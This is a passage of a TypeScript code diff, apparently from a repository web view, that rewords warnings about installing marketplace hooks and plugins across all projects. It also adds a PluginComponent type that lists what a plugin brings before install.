`Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.`,
|
`Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.`,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (preview.global_plugin_install_count > 0) {
|
if (preview.global_plugin_install_count > 0) {
|
||||||
const n = preview.global_plugin_install_count;
|
const n = preview.global_plugin_install_count;
|
||||||
warnings.push(
|
warnings.push(
|
||||||
`Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.`,
|
`Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.`,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (preview.image_source === "custom") {
|
if (preview.image_source === "custom") {
|
||||||
|
|||||||
@@ -338,6 +338,13 @@ export interface CatalogItem {
|
|||||||
invalid: string | null;
|
invalid: string | null;
|
||||||
hook_commands: string[];
|
hook_commands: string[];
|
||||||
preview: string;
|
preview: string;
|
||||||
|
/** Plugins only: what the plugin brings that runs or adds commands (entry + folder). */
|
||||||
|
plugin_components: PluginComponent[];
|
||||||
|
}
|
||||||
|
export interface PluginComponent {
|
||||||
|
/** Where it comes from, e.g. "marketplace.json entry: mcpServers". */
|
||||||
|
label: string;
|
||||||
|
content: string;
|
||||||
}
|
}
|
||||||
export interface MarketplaceSnapshot {
|
export interface MarketplaceSnapshot {
|
||||||
marketplace_id: string;
|
marketplace_id: string;
|
||||||
|
|||||||
Reference in New Issue
Block a user